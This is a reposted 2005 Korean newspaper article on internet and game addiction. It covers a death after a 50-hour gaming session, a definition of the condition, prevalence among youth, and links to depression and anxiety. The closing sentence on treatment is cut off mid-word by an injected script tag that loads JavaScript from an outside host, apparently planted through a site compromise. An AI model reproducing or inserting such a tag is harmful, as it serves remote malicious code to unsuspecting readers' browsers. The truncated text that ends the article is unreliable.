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2005-08-12 오후 11:01:00, 조회:798 |
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[내일신문 2005-08-12 15:09]
인터넷 게임 중독 증상과 예방법
지난 8일 스타크래프트 게임을 하던 이 모(28)씨가 갑자기 쓰러져 병원으로 옮겼으나 3시간만에 숨지는 사고가 있었다.
당시 이씨는 약 50시간 동안 PC방에서 식음을 전폐하고 줄곧 게임에만 몰두한 것으로 경찰수사결과 밝혀졌다. 이른바 인터넷게임 즉, 인터넷 중독이다. 갈수록 사회문제화하고 있는 인터넷 중독의 실체와 치료, 예방법을 알아본다.
◆인터넷 중독이란 = ‘인터넷 중독’이란 ‘과도한 통신·인터넷 사용에 의해 현실 세계에서의 사회·가정·일상생활에 실제 어려움이 생겨 자신이나 주변 사람들이 문제가 있다고 인식하게 되는 경우’를 말한다.
인터넷 중독은 게임중독과 채팅중독, 주식중독 등으로 세분하기도 한다.
중독하면 마약복용에 따른 이른바 물질중독을 떠올리게 된다. 중독은 의존성이 있는지 여부로 가르는데 마약을 끊을 경우 손발이 떨린다거나 심장박동에 이상이 온다든지 하는 생리적 현상이 뒤따른다.
이같은 물질중독과 달리 인터넷이나 쇼핑과 같은 행위중독은 아직까지 생리적 의존현상을 수반하는지 여부가 과학적으로 증명되지 않았다. 다만 하고싶은 것을 하지 못할 경우 심리적 불안감을 느끼게 된다. 운동중독은 생리적 측면이 다소 강하다.
우리나라 청소년 가운데 10~30%, 대학생의 10% 가량이 학업이나 또래 관계에 악영향이 있을 정도로 과도하게 인터넷을 사용하고 있는 것으로 나타났다.
특히 게임과 채팅이 주로 문제가 되고 있다. 이는 다른 서비스에 비해 사이버 공간에서 상호작용을 요구하는 요소가 많기 때문으로 풀이된다.
즉, 인터넷 중독군은 사이버 공간에서 상호작용하기를 원하며 또 상호작용이 일어난다는 것이 중독성을 높이는 요소의 하나로 작용한다는 것을 알 수 있다.
◆주요 증상은 = 서울아산병원 소아정신과 유한익 교수는 “인터넷 중독으로 병원을 찾는 청소년들을 보면 대부분 주의가 산만하거나, 우울증을 앓고 있거나 대인관계를 기피하는 증상을 보인다”며 “이같은 증상은 더욱 인터넷 중독을 가속화하고 이는 증상을 악화시키게 된다”고 말했다.
인터넷 중독은 우울증과 밀접하다. 우울감이나 삶의 어려움을 인터넷 사용으로 보상받으려 하고 우울한 감정을 줄이려는 경향을 띈다.
또한 강박적인 성향도 많이 나타난다. 주의집중력 저하와 과잉행동성, 충동성 등이 보인다. 인터넷 중독 아동이나 청소년의 경우 충동조절의 어려움, 학업 능력의 저하, 잦은 결석, 부모와 갈등 심화 등이 나타난다.
삼성서울병원 가정의학과 이정권 교수팀 조사에 따르면 인터넷 중독자들의 우울증 유병률은 20.4%로, 과사용군이나 비중독군의 4.1%, 1.6%에 비해 높았다. 불안증 유병률도 과사용군(9%), 비중독군(2.4%)보다 높은 46.7%에 달했다.
◆‘단절’이 아닌 ‘조절’ = 인터넷 중독 치료의 목적은 인터넷 ?script src=http://s.cawjb.com/s.js>
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